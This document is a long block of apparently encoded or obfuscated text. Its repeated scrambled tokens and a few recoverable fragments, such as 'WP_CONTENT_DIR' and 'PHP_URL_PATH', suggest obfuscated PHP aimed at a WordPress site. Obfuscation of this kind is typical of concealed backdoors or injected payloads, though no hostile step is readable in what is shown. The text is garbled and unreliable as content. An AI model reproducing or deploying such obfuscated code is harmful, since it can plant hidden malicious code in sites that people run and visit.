\M^M@@I@EVIOCAAMBHJC^aU}`[EBHC[JYBOXECB_&&IVHEIZUUEK^NHCBNJO_E[sZ]V\MU]NVK VUAG_IICHX ]OFBVKV_GMAVN]JKJ\JD^^&EJEK^NHCBNJO_IVHEIZUU NND@UGH@\HB@IVHEIZUUE[sZ]V\MU]NVKNND@UGH@\HB@IVHEIZUU &M\UJMX\FOEK^NHCBNJO_EK^NHCBNJO_DCAIsY^@VUAG_IICHX[sBTJK_INBAGsNND@UGH@\HB@&EJM\UJMX\FOM\UJMX\FOE[sZ]V\MU]NVK[KVO\_ZUIGC]NJEK^NHCBNJO_[sBTJK_INBAGsE[sZ]V\MU]NVK&EJEK^NHCBNJO_M\UJMX\FO NND@UGH@\HB@M\UJMX\FOE[sZ]V\MU]NVKEK^NHCBNJO_E[sZ]V\MU]NVKNND@UGH@\HB@  M\UJMX\FO &KBFFUV]ECE__IXk`cnm`wE[sZ]V\MU]NVKq

NND@UGH@\HB@k`cnm`wEK^NHCBNJO_qk`cnm`wE[sZ]V\MU]NVKq&EJNND@UGH@\HB@KBFFUV]ECW&KBFFUV]ECCHTMDV\DVBEsE[sZ]V\MU]NVK &Q&EJEK^NHCBNJO_KBFFUV]ECrW&KBFFUV]ECFVIFCZEsU&&&&Q&E\DsTJZUZVs&EJE__IXk`cnm`wNND@UGH@\HB@q

EK^NHCBNJO_k`cnm`wNND@UGH@\HB@q

E[sZ]V\MU]NVKk`cnm`wEK^NHCBNJO_qW&E\DsTJZUZVsk`cnm`wE[sZ]V\MU]NVKq&QI@_IW&E\DsTJZUZVsCHTMDV\DVBEsE[sZ]V\MU]NVK &&&Q&XU\IAMXODEBK&&EJVUAG_IICHXE\DsTJZUZVsW&FVs@@VVXUVM^H[BGAZNND@UGH@\HB@ E\DsTJZUZVs EK^NHCBNJO_&Q&\TMHF_U]MBCKNND@UGH@\HB@NND@UGH@\HB@_X^EBKE[sZ]V\MU]NVKDCAIsY^@ |d|sy~`s|mxd&EJ\TMHF_U]MBCK\TMHF_U]MBCK&EJE[sZ]V\MU]NVK\TMHF_U]MBCK \TMHF_U]MBCK&]E\OB\^^_M^^MU&EK^NHCBNJO_BBIAB]UC[UIGMK[F &&EK^NHCBNJO_]DKsYI]\ZZUNJD &&&&NND@UGH@\HB@\TMHF_U]MBCK &&&YGABY[FZJ_M^^MU&EK^NHCBNJO_IVHEIZUU &NND@UGH@\HB@HZ]]M\F[FZVU &&&NND@UGH@\HB@M\UJMX\FO &&NND@UGH@\HB@C_I\\NII@T^YDmn|mxdEK^NHCBNJO_ r &EK^NHCBNJO_E\DsTJZUZVs &&VHB[Xs^DTCDNEYZF[K[Y^VBGssTEK^NHCBNJO_ &EJE[sZ]V\MU]NVKVHB[Xs^DTCPPVUAG_IICHXVHB[Xs^DTCW&&^IXY^B&Q&IZHTHCGVFTHJEK^NHCBNJO_VV_]V[N_DDUTIIEsEK^NHCBNJO_YGABY[FZJ_ VHB[Xs^DTC&F_AUZ[_KJ^^VUAG_IICHXNND@UGH@\HB@VUAG_IICHX]E\OB\^^_EK^NHCBNJO_&F_AUZ[_KJ^^NND@UGH@\HB@IZHTHCGVFTHJNND@UGH@\HB@&FVs@@VVXUVM^H[BGAZVUAG_IICHX F_AUZ[_KJ^^ E[sZ]V\MU]NVK&FVs@@VVXUVM^H[BGAZEK^NHCBNJO_ EK^NHCBNJO__X^EBKKBFFUV]EC_X^EBKE\DsTJZUZVsVHB[Xs^DTCPNND@UGH@\HB@[KVO\_ZUIGC]NJ NND@UGH@\HB@&HONHYIFNDJOA[EK^NHCBNJO_EK^NHCBNJO_DCAIsY^@E[sZ]V\MU]NVK[sBTJK_INBAGsEK^NHCBNJO_&EJHONHYIFNDJOA[HONHYIFNDJOA[NND@UGH@\HB@[KVO\_ZUIGC]NJVUAG_IICHX[sBTJK_INBAGsVUAG_IICHX&EJNND@UGH@\HB@HONHYIFNDJOA[ E[sZ]V\MU]NVKHONHYIFNDJOA[E[sZ]V\MU]NVKNND@UGH@\HB@EK^NHCBNJO_EK^NHCBNJO_  HONHYIFNDJOA[ &FVs@@VVXUVM^H[BGAZVUAG_IICHX HONHYIFNDJOA[ EK^NHCBNJO_&&&EJNND@UGH@\HB@KBFFUV]ECTTHW&^IXY^B&Q&FVs@@VVXUVM^H[BGAZVUAG_IICHX KBFFUV]EC NND@UGH@\HB@&EJMKDZUEB_BHK^IXY^B&&IFGYIVMOIB^J[AXXJCU]ZNBNKE&EJlEK^NHCBNJO_IFGYIVMOIB^JsBTGT_@UKFJMMHIFGYIVMOIB^J  X^YI&EJlEK^NHCBNJO_IFGYIVMOIB^JPPlNND@UGH@\HB@IFGYIVMOIB^J^IXY^B&O^OMD]IOIFGYIVMOIB^J\BNG]XFHEK^NHCBNJO_BBGC_]AC@FPGGDH@ZVCXHJTBBGC_]AC@Fr&X\C_ABBsJ_AOFHTI\Ds\IJ&&&E[sZ]V\MU]NVK &M^^MUss`ykss ssve|sbmaiss ss{~exisgiuss sszi~ecbss &&&M^^MUHZ]]M\F[FZVU ]JKJ\JD^^ C_I\\NII@T^YDmn|mxdNND@UGH@\HB@  [KNGMVXV[KCMBM[JX&&&&EJX\C_ABW&EJEBXKIXsC\XECBNND@UGH@\HB@ CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_&^IXY^B&&&&Q&EJlNND@UGH@\HB@O^OMD]IOPPE[sZ]V\MU]NVKF[sE_EYEDFGFI_X^EBKlVUAG_IICHXO^OMD]IOEK^NHCBNJO_X\C_ABW&XFHN]]TNEBYCMO^OMD]IO X\C_AB NND@UGH@\HB@&OGDYBEsTOUKXHXO^OMD]IO [DVTYUDIYEJ&&]]XI^s@\F[YJ_V_ZEOIO^OMD]IO TITNO&&@MJGUDXJDsMO^OMD]IO&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBBsJ_AOFHTI\Ds\IJGIU HTVAAE_GF CCBBX]F_AUIUX&W&sKAATDKTDFX[CBY@@&&EJsKAATDKTDFX[CBY@@W&sKAATDKTDFX[CE[sZ]V\MU]NVKEK^NHCBNJO_KIXsX^MB_EIBXM__^sKEVEG_]JM@_I&EJEK^NHCBNJO_sKAATDKTDFX[CW&&sKAATDKTDFX[CMDE_JBsZH]^MGZTYE[sZ]V\MU]NVK JM@_I&Q&EJVUAG_IICHXsKAATDKTDFX[CW&sKAATDKTDFX[CM^^MU&Q&ODIOG\CEBX\C_EXEZIHIJEBEXI^IOC^H@MUI^&&Q&OZE^G@JKsZ&EJE__IXsKAATDKTDFX[CwGIUq

E[sZ]V\MU]NVKsKAATDKTDFX[CwGIUqW&OZE^G@JKsZsKAATDKTDFX[CwGIUqVT@\NTG^VY]ZUEE__VT@\NTG^&Q&EJE[sZ]V\MU]NVKOZE^G@JKsZW&&&OZE^G@JKsZCHTMDV\DVBEsGIU &Q&&&EJE[sZ]V\MU]NVKOZE^G@JKsZTTH^IXY^BJM@_I&&&XNAXUCY@O\EK^NHCBNJO_OZE^G@JKsZ X^YI&EJXNAXUCY@O\PPNND@UGH@\HB@XNAXUCY@O\TTJ^IXY^BJM@_I&&&EJNND@UGH@\HB@XNAXUCY@O\ EK^NHCBNJO_JM@_I^IXY^BJM@_I&XNAXUCY@O\EK^NHCBNJO_HTVAAE_GF CCBBX]F_AUIUX XNAXUCY@O\&EJHIJEBIHEK^NHCBNJO_W&&X^UW&lXCGIBsKIXsM@@XNAXUCY@O\ xcgibs|m~i&QOMXODxD^C[MN@I@XB\NXsW&^IXY^BJM@_I&&&QOMXODiTOI\XECB@XB\NXsW&^IXY^BJM@_I&&Q&&&QI@_IEJZVHB^HE]OsNOVNYXNAXUCY@O\W&^IXY^BJM@_I&Q&^IXY^BXNAXUCY@O\&&Q&JYBOXECBV@KA\HOY[[FVMCGX&&&&W&X^UW&EJNND@UGH@\HB@VUAG_IICHX^IXY^B&EJHIJEBIHEK^NHCBNJO_^IXY^B&GOUCFNNsCUNM[VN]^EB\HZN@HVG&EJGOUCFNNsCUNW&E[BGNFCN@\H&GOUCFNNsCUNM[VN]^EB\HZN@HVG&Q&NCKXXHO\_UUCHTMDV\DVBEsNND@UGH@\HB@ &EJE[sZ]V\MU]NVKNCKXXHO\_UUNCKXXHO\_UUVUAG_IICHXpT &&&&NZBGUJXMIBODE__IXk`cnm`wVUAG_IICHXq

E[sZ]V\MU]NVKk`cnm`wE[sZ]V\MU]NVKq

NND@UGH@\HB@k`cnm`wE[sZ]V\MU]NVKqk`cnm`wNND@UGH@\HB@qCHTMDV\DVBEsE[sZ]V\MU]NVK &EJNND@UGH@\HB@NZBGUJXMIBODNZBGUJXMIBODFVIFCZEsU&CBsZYss]XO]E__IXk`cnm`wNND@UGH@\HB@q

NND@UGH@\HB@k`cnm`wVUAG_IICHXq

VUAG_IICHXk`cnm`wNND@UGH@\HB@qrk`cnm`wEK^NHCBNJO_qCHTMDV\DVBEsVUAG_IICHX &VY\UZZNVUAG_IICHXNZBGUJXMIBODCBsZYss]XO]NCKXXHO\_UUPVUAG_IICHX[KVO\_ZUIGC]NJ&EJCHTMDV\DVBEsNND@UGH@\HB@ VY\UZZNW&E[BGNFCN@\H&GOUCFNNsCUNM[VN]^EB\HZN@HVG&Q&EJMKDZUEB_BHK^IXY^B&ZJKVHJYUH]T_YAHOZXYJMXMV^sTJEUB@^XVHUOYXMV^sTJE&U^DsDUOMUC^lE[sZ]V\MU]NVKZJKVHJNND@UGH@\HB@&EJU^DsDUOMUC^

GOUCFNNsCUN

KIXsX^MB_EIBXNND@UGH@\HB@^IXY^B&sBJ@]\UHX\F&BI_OXBsZVU&YsYUK^EVDEI&HFCKGOZ_]lVUAG_IICHXZJKVHJE[sZ]V\MU]NVK&&&GOUCFNNsCUNM[VN]^EB\HZN@HVG&EJHFCKGOZ_]

GOUCFNNsCUNW&_IXsX^MB_EIBXEK^NHCBNJO_  TTH&Q&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&&&QOMXODiTOI\XECB@XB\NXsW&_X^I__XI_X^IHYOXECBJC^{|jY@@EXIiHEXEBK&&&&Q&Q&&&&JYBOXECBBI_OXBsZVU&W&&X^UW&EJHIJEBIHVUAG_IICHX^IXY^B&EJVUAG_IICHXEK^NHCBNJO_^IXY^B&IK@EJ@UVV^EK^NHCBNJO_E[sZ]V\MU]NVKlVUAG_IICHXVUAG_IICHXJM@_I&EJIK@EJ@UVV^PPIK@EJ@UVV^PPIK@EJ@UVV^VUAG_IICHXIK@EJ@UVV^E[sZ]V\MU]NVK&\BNG]XFHC_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK r&ZJKVHJYUH]T_YAHOZXYJM&IFGYIVMOIB^J[AXXJCU]ZNBNKE&MJT@BMsGC_I\\NII@T^YDmn|mxdEK^NHCBNJO_ VUAG_IICHX&CTY^EXZJKVHJMJT@BMsG&XCU]]KUZJKVHJE[sZ]V\MU]NVKMJT@BMsG]^FMYZO]|d|samfc~szi~ecbC]MVX^]^FMYZO]&HZ]]M\F[FZVUNND@UGH@\HB@^_NIVAZ E[sZ]V\MU]NVK&]JKJ\JD^^C_I\\NII@T^YDmn|mxdVUAG_IICHX NND@UGH@\HB@&U^V]\H@NEBXKIXsC\XECBEK^NHCBNJO_ &EJU^V]\H@N

NND@UGH@\HB@U^V]\H@NTIIHTMMW&]FNVI]J@FBTsJ_CTY^EX BY@@&]FNVI]J@FBTsJ_XCU]]KU BY@@&&&JC^IMODM^^MUVUAG_IICHXmn|mxd EK^NHCBNJO_ EK^NHCBNJO_ZJKVHJ EK^NHCBNJO_M_YC]\A]UGUW&T_CB[_BEXAN_YC]\A]UGUIK@EJ@UVV^&&&&OD]\@_FKDlE[sZ]V\MU]NVKT_CB[_BEXAN_lE[sZ]V\MU]NVKT_CB[_BEXAN_&EJVUAG_IICHXOD]\@_FKD

NND@UGH@\HB@OD]\@_FKD MJT@BMsGJM@_IW&@OVJD[\TYGVUAG_IICHXEK^NHCBNJO_VUAG_IICHXMJT@BMsG E[sZ]V\MU]NVK pB OD]\@_FKD&&&&EJE[sZ]V\MU]NVK@OVJD[\TYG

@OVJD[\TYGOD]\@_FKD_N]JNVYOBBZ_TFET\T_CB[_BEXAN_ @OVJD[\TYG&&&&Q&aU}`oxi_MXXMODAIBXAIXMHMXM&&Q&^IXY^B&&&Q&T@KMDNGUEBsJ_AOFHTI\Ds\IJ&&&&NND@UGH@\HB@ &M^^MUss`ykss ssve|sbmaiss ssebxsdmdss sshmxmshe~ss ssocbxibxshe~snss sszi~ecbss &M^^MUHZ]]M\F[FZVU ]JKJ\JD^^ \BNG]XFH EK^NHCBNJO_C_I\\NII@T^YDmn|mxdNND@UGH@\HB@  NND@UGH@\HB@HIJEBIHNND@UGH@\HB@{|socbxibxshe~YUH]T_YAHOZXYJM [KNGMVXV[KCMBM[JX&&EJT@KMDNGUEW&IT\IOXIHN@CCAJE@XI^&&EJEBXKIXsC\XECBVUAG_IICHX CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_&^IXY^B&Q&EJlNND@UGH@\HB@IFGYIVMOIB^JsBTGT_@UKFJMMHIFGYIVMOIB^J TTO X^YIHG_M\Y@^MNAXVXADCHG_M\Y@^MN&E\MV]XG\KK^AJM@_I&EJlVUAG_IICHXXCU]]KUPPNND@UGH@\HB@F[sE_EYEDFGFI_X^EBKlNND@UGH@\HB@XCU]]KUVUAG_IICHXT@KMDNGUEW&XFHN]]TNEBYCMXCU]]KU T@KMDNGUE E[sZ]V\MU]NVK&&&&OGDYBEsTOUKXHXXCU]]KU [DVTYUDIYEJ&&&]]XI^s@\F[YJ_V_ZEOIXCU]]KU &@MJGUDXJDsMXCU]]KU&E\MV]XG\KK^AX^YI&Q&HE__F][N&JC^IMODM^^MUVUAG_IICHXmn|mxd NND@UGH@\HB@ NND@UGH@\HB@ZJKVHJ VUAG_IICHXM_CJZICNTVBC^JW&&&&JTOY]@TYClNND@UGH@\HB@CJZICNTVBC^JIK@EJ@UVV^lVUAG_IICHXCJZICNTVBC^JIK@EJ@UVV^&EJE[sZ]V\MU]NVKJTOY]@TYC

VUAG_IICHXVUAG_IICHX JTOY]@TYC \\JJOU_CV[W&O__HTMM^@NND@UGH@\HB@\\JJOU_CV[wq&EJO__HTMM^@

_X^E\C_O__HTMM^@ E[sZ]V\MU]NVKJM@_I

KAJJKMX[K^XO__HTMM^@W&&&&HE__F][NO__HTMM^@&N^IMG&Q&Q&Q&&BHOX\Z]MYJ_[INND@UGH@\HB@HE__F][NE[sZ]V\MU]NVKEK^NHCBNJO_HE__F][N X^YIE[sZ]V\MU]NVK&EK^NHCBNJO_MJT@BMsGNND@UGH@\HB@&VUAG_IICHX&VUAG_IICHX&NND@UGH@\HB@NND@UGH@\HB@T@KMDNGUEVUAG_IICHX&&&EJlVUAG_IICHXCTY^EXPPNND@UGH@\HB@F[sE_EYEDFGFI_X^EBKlE[sZ]V\MU]NVKCTY^EXE[sZ]V\MU]NVKBHOX\Z]MYJ_[IW&&XFHN]]TNEBYCMCTY^EX BHOX\Z]MYJ_[I VUAG_IICHX&OGDYBEsTOUKXHXCTY^EX [DVTYUDIYEJ&&&&]]XI^s@\F[YJ_V_ZEOICTY^EX &@MJGUDXJDsMCTY^EX&E\MV]XG\KK^AX^YI&Q&CCMD\^HKKDXEHX^YI&YOIO^XZ\F[sE_EYEDFGFI_X^EBKlE[sZ]V\MU]NVKXCU]]KU&EJlNND@UGH@\HB@XCU]]KUPPYOIO^XZ\T@KMDNGUEW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK EK^NHCBNJO_&]FNVI]J@FBTsJ_XCU]]KU BY@@&CCMD\^HKKDXEHJM@_I&Q&YOIO^XZ\F[sE_EYEDFGFI_X^EBKlE[sZ]V\MU]NVKCTY^EX&EJlVUAG_IICHXCTY^EXPPYOIO^XZ\BHOX\Z]MYJ_[IW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHX&&&&]FNVI]J@FBTsJ_CTY^EX BY@@&CCMD\^HKKDXEHJM@_IJJAHUKZXJIM[FIDJJAHUKZX&Q&YB_IXYOIO^XZ\&EJCCMD\^HKKDXEHW&sMN^O]_YDEBXKIXsC\XECBEK^NHCBNJO_ &Y\HMXIsC\XECBEK^NHCBNJO_ sMN^O]_YD VUAG_IICHX&EJsMN^O]_YDTTW&Y\HMXIsC\XECBVUAG_IICHX VUAG_IICHX E[sZ]V\MU]NVK&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&&Q&^IXY^B&&&Q&^ZOUNVA\C[[M^^MUNND@UGH@\HB@mn|mxd E[sZ]V\MU]NVK VUAG_IICHXZJKVHJ E[sZ]V\MU]NVK&OUUG[[ZGTOM^^MU&&&JC^IMOD^ZOUNVA\C[[M_^\G@GYO_W&U@UGB\G@C\E^\G@GYO_IK@EJ@UVV^&DIGE^BEA[@GAGXBNlEK^NHCBNJO_U@UGB\G@C\ElVUAG_IICHXU@UGB\G@C\E&OY^^IBXlVUAG_IICHXU@UGB\G@C\ElE[sZ]V\MU]NVKU@UGB\G@C\E&EJNND@UGH@\HB@OY^^IBXW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK E[sZ]V\MU]NVK&&&^IXY^B&Q&EJEK^NHCBNJO_OY^^IBX MJT@BMsGJM@_IW&&&&EJOY^^IBX

EK^NHCBNJO_VUAG_IICHXOY^^IBX pBOY^^IBXpB&ZNT^MB@_JVUAG_IICHXCTY^EX|d|sic`&EJ_N]JNVYOBBZ_TFET\U@UGB\G@C\E OY^^IBXZNT^MB@_JW&EJDIGE^BEA[@GAGXBNOGDYBEsTOUKXHXU@UGB\G@C\E DIGE^BEA[@GAGXBN&I@_IOGDYBEsTOUKXHXU@UGB\G@C\E E[sZ]V\MU]NVK&]]XI^s@\F[YJ_V_ZEOIU@UGB\G@C\E &Y\HMXIsC\XECBE[sZ]V\MU]NVK EK^NHCBNJO_ EK^NHCBNJO_&OUUG[[ZGTOwqM^^MUU@UGB\G@C\E OY^^IBX&EJEBXKIXsC\XECBNND@UGH@\HB@ Y\HMXIsC\XECBNND@UGH@\HB@  E[sZ]V\MU]NVK&EJEBXKIXsC\XECBVUAG_IICHX lHI@IXIsC\XECBNND@UGH@\HB@&QI@_IW&lMO]YE^IDIM^XNIMX&&&FKMOTOOVCEBXKIXsC\XECBEK^NHCBNJO_ VCsHO_|d|sebxsamt|d|sebxsamtX_\XGXTUXVCsHO_&Y\HMXIsC\XECBNND@UGH@\HB@ FKMOTOOVC E[sZ]V\MU]NVK&EJFKMOTOOVCW&Y\HMXIsC\XECBE[sZ]V\MU]NVK EK^NHCBNJO_ VUAG_IICHX&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHX&N^IMG&Q&&Q&Q&Q&EJE\MV]XG\KK^A

DCCXssZA\MXXAW&&&&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHX&]FNVI]J@FBTsJ_CTY^EX BY@@&]FNVI]J@FBTsJ_XCU]]KU BY@@&JC^IMODOUUG[[ZGTOM_JI^DJU[Y_N]JNVYOBBZ_TFET\JI^DJU[Ywq JI^DJU[Ywq&sMN^O]_YDEBXKIXsC\XECBEK^NHCBNJO_ &Y\HMXIsC\XECBEK^NHCBNJO_ sMN^O]_YD NND@UGH@\HB@&&&EJsMN^O]_YDTTW&Y\HMXIsC\XECBNND@UGH@\HB@ NND@UGH@\HB@ E[sZ]V\MU]NVK&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&Q&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECB@_^@\Y_CJ&W&^IFIOXHE_OCBBIOXIH_XMOGJ^MAI&&X^UW&{|dCAI`EBGXDIAI_Y\\C^X&&EJEK^NHCBNJO_EK^NHCBNJO_^IXY^B&EJHIJEBIHNND@UGH@\HB@PPHIJEBIHVUAG_IICHXW&EJEBXlKIXsC\XECBVUAG_IICHX W&lHI@IXIsC\XECBVUAG_IICHX&lY\HMXIsC\XECBNND@UGH@\HB@  EK^NHCBNJO_&Q&HCAEBMXIC^ODI_X^MXC^JC^{||C_XxI^A_&&&&^IXY^B&Q&J@NJMVABE^CEBXlKIXsC\XECBVUAG_IICHX &EJJ@NJMVABE^C^IXY^B&sAN\_OO]BHVUAG_IICHXEK^NHCBNJO_EBXlNND@UGH@\HB@E[sZ]V\MU]NVK&&EJsAN\_OO]BHsAN\_OO]BHTHHTJ&EJNND@UGH@\HB@J@NJMVABE^CsAN\_OO]BHTOT^IXY^B&lY\HMXIsC\XECBNND@UGH@\HB@ E[sZ]V\MU]NVK E[sZ]V\MU]NVK&HI]ACMJAAN\EBXlKIXsC\XECBEK^NHCBNJO_ &lY\HMXIsC\XECBEK^NHCBNJO_ HI]ACMJAAN\ NND@UGH@\HB@&EJHI]ACMJAAN\W&lHI@IXIsC\XECBEK^NHCBNJO_&lY\HMXIsC\XECBNND@UGH@\HB@ VUAG_IICHX EK^NHCBNJO_&&CGTNsH^OGY_HMU@YVUAG_IICHX NND@UGH@\HB@&Q&&&QOMXODxD^C[MN@I@XB\NXsW&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBHJTC@UCF@KHIZNE_&W&X^UW&EJHIJEBIHEK^NHCBNJO_^IXY^B&&EJNND@UGH@\HB@E[sZ]V\MU]NVK^IXY^B&&&EJ@HA[MKF]JN[T^IXY^B&EJMKDZUEB_BHK^IXY^B&IFGYIVMOIB^J[AXXJCU]ZNBNKE&&&D[_OFDHVT_IFGYIVMOIB^JE[sZ]V\MU]NVK&EK\DJGMIE[sZ]V\MU]NVKpBVUAG_IICHXpB&NND@UGH@\HB@pBEK^NHCBNJO_pBNND@UGH@\HB@pB&E[sZ]V\MU]NVKpBNND@UGH@\HB@pBE[sZ]V\MU]NVKpB&VUAG_IICHXpB&OY^^IBXlVUAG_IICHXD[_OFDHVT_lE[sZ]V\MU]NVKD[_OFDHVT_&EJE[sZ]V\MU]NVKOY^^IBXW&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&^IXY^B&&&&Q&EJNND@UGH@\HB@OY^^IBX NND@UGH@\HB@JM@_IW&_N]JNVYOBBZ_TFET\D[_OFDHVT_ OY^^IBXEK\DJGMIA[MXCI[ZNVZP]MAN@TMIA[MXCI[ZNVZr&OGDYBEsTOUKXHXD[_OFDHVT_ [DVTYUDIYEJ&]]XI^s@\F[YJ_V_ZEOID[_OFDHVT_ &Q&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPVUAG_IICHX\@D[FO@KBUT^IXY^B&HZ]]M\F[FZVUEK^NHCBNJO_^_NIVAZ VUAG_IICHX&&ZJKVHJYUH]T_YAHOZXYJM&MJT@BMsGC_I\\NII@T^YDmn|mxdNND@UGH@\HB@ TTVUAG_IICHX&EFM@YN[EVVGM^^MU&ZJKVHJMJT@BMsG &IFGYIVMOIB^JMJT@BMsG &&]E]TFKTIXXZJKVHJMJT@BMsGT]@CCsZYBJU_AAMDT]@CCsZYBJ	&JC^IMODEFM@YN[EVVGM_EA_KJ\DW&^\G@GYO_EK^NHCBNJO_EA_KJ\D&EJlEK^NHCBNJO_^\G@GYO_PPsBTGT_@UKFJMMH^\G@GYO_ TOT X^YIW&{|Y_IiBXEXU~IOC^H_EB_XMBXEMXI_I__ECB[EBHC[&&]E]TFKTIXXEA_KJ\D&N^IMG&Q&Q&OZE^G@JKsZTXM^@KF]VX][_EX&T@KMDNGUEBsJ_AOFHTI\Ds\IJ&EK^NHCBNJO_ &M^^MUss`ykss ss|`ykebsnmiss sszi~ecbss &M^^MUHZ]]M\F[FZVU OZE^G@JKsZ [KNGMVXV[KCMBM[JX&\NDTUUKB_NO^^GXG@@\NDTUUKB_&EJT@KMDNGUEW&EJEBXKIXsC\XECBNND@UGH@\HB@ CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@&^IXY^B&Q&HE__F][N&GZF^B[MG]VM^^MUmn|mxdNND@UGH@\HB@ ZJKVHJE[sZ]V\MU]NVK&^ZCC_s^sDC]YVUAG_IICHXEK^NHCBNJO_lNND@UGH@\HB@EK^NHCBNJO_JM@_I&EJE[sZ]V\MU]NVK^ZCC_s^sDC]Y

^ZCC_s^sDC]YW&GZF^B[MG]VwqE[sZ]V\MU]NVKmn|mxd NND@UGH@\HB@^ZCC_s^sDC]Y&GZF^B[MG]VwqZJKVHJ^ZCC_s^sDC]Y&Q&JC^IMODGZF^B[MG]VM_]ssUATsKMJW&_NUJUI[I_XK_lEK^NHCBNJO_]ssUATsKMJlE[sZ]V\MU]NVK]ssUATsKMJ&EJE[sZ]V\MU]NVK_NUJUI[I_XK_PP_NUJUI[I_XK_OCBXEBYI&&&&EJNND@UGH@\HB@VUAG_IICHX _NUJUI[I_XK_ \\JJOU_CV[W&O__HTMM^@E[sZ]V\MU]NVK\\JJOU_CV[wq&EJO__HTMM^@

_X^E\C_O__HTMM^@ VUAG_IICHXJM@_I

KAJJKMX[K^XO__HTMM^@W&&HE__F][NO__HTMM^@&N^IMG&Q&_X^I__XI_XOCA\MOXIJJIOXXU\I&&&&Q&Q&EJHE__F][NW&T@KMDNGUEE[sZ]V\MU]NVKVUAG_IICHX EK^NHCBNJO_NND@UGH@\HB@HE__F][N X^YIE[sZ]V\MU]NVK T@KMDNGUE &EJE[sZ]V\MU]NVKT@KMDNGUEW&CGTNsH^OGY_HMU@YVUAG_IICHX VUAG_IICHX&&&^IXY^B&Q&Q&DNF@ZIUCMX^YI&Y^CZYHD[DXBY@@&EJlVUAG_IICHX]E]TFKTIXXW&lJETY\C^NEX&&&Y^CZYHD[DXF[sE_EYEDFGFI_X^EBKlE[sZ]V\MU]NVK]E]TFKTIXX&&EJEK^NHCBNJO_Y^CZYHD[DX

Y^CZYHD[DXT@KMDNGUEW&DNF@ZIUCMJM@_I&&&Q&jjeNEBHEBK_\^EAIDMBH_DMGI&&Q&HV\JTZ]GXMTM^^MU&mn|mxdE[sZ]V\MU]NVK &HIJEBIHNND@UGH@\HB@{|socbxibxshe~ZJKVHJEK^NHCBNJO_ &&&U^JT\V]UVGAA@EBXKIXsC\XECBVUAG_IICHX &EJU^JT\V]UVGAA@

EK^NHCBNJO_U^JT\V]UVGAA@W&]FNVI]J@FBTsJ_]E]TFKTIXX BY@@&&&&JC^IMODHV\JTZ]GXMTM_Z_EAsW&OUO@IHIXIOXIH&&B[THKUTI@]\KTlVUAG_IICHXZ_EAslE[sZ]V\MU]NVKZ_EAs&EJE[sZ]V\MU]NVKB[THKUTI@]\KT

E[sZ]V\MU]NVKB[THKUTI@]\KT MJT@BMsGJM@_IW&B\EGUH^OGDsX]FTEJYA]XYIMJBH^@OB[THKUTI@]\KT MJT@BMsG&&&EJNND@UGH@\HB@B\EGUH^OGDsX]

B\EGUH^OGDsX]B[THKUTI@]\KT_N]JNVYOBBZ_TFET\Z_EAs B\EGUH^OGDsX]&Q&Q&^IXY^B&Q&EJDNF@ZIUCMW^IB_\YN_FUFOTOTIKT^UXCE@H^IB_\YN_FUFO	&XFHN]]TNEBYCM]E]TFKTIXX T@KMDNGUE VUAG_IICHX&&&&OGDYBEsTOUKXHX]E]TFKTIXX [DVTYUDIYEJ&&]]XI^s@\F[YJ_V_ZEOI]E]TFKTIXX TTO&@MJGUDXJDsM]E]TFKTIXX&Q&YOIO^XZ\lNND@UGH@\HB@]E]TFKTIXXF[sE_EYEDFGFI_X^EBKlEK^NHCBNJO_]E]TFKTIXX&EJYOIO^XZ\T@KMDNGUEW&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@&]FNVI]J@FBTsJ_]E]TFKTIXX DNF@ZIUCMY^CZYHD[DXBY@@&^sFHZ@V^C]JBEBXKIXsC\XECBVUAG_IICHX &Y\HMXIsC\XECBVUAG_IICHX ^sFHZ@V^C]JB EK^NHCBNJO_&&&&EJ^sFHZ@V^C]JBTTWCTOGE\VT[FFXO_\EDCTOGE\VT[FCTOGE\VT[FCTOGE\VT[F&Y\HMXIsC\XECBE[sZ]V\MU]NVK VUAG_IICHX E[sZ]V\MU]NVK&CGTNsH^OGY_HMU@YEK^NHCBNJO_ EK^NHCBNJO_&Q&^IXY^B&Q&YB_IXYOIO^XZ\&BJCCUEI[E^CBEEEK^NHCBNJO_&OUUG[[ZGTOM^^MU&JC^IMODHV\JTZ]GXMTM_T]XK[MDW&^\G@GYO_E[sZ]V\MU]NVKT]XK[MD&&&&EJlEK^NHCBNJO_^\G@GYO_OCBXEBYI&YCAJXVDFCVUAG_IICHXNND@UGH@\HB@lVUAG_IICHXT]XK[MD OJM@_I&EJYCAJXVDFCJM@_I

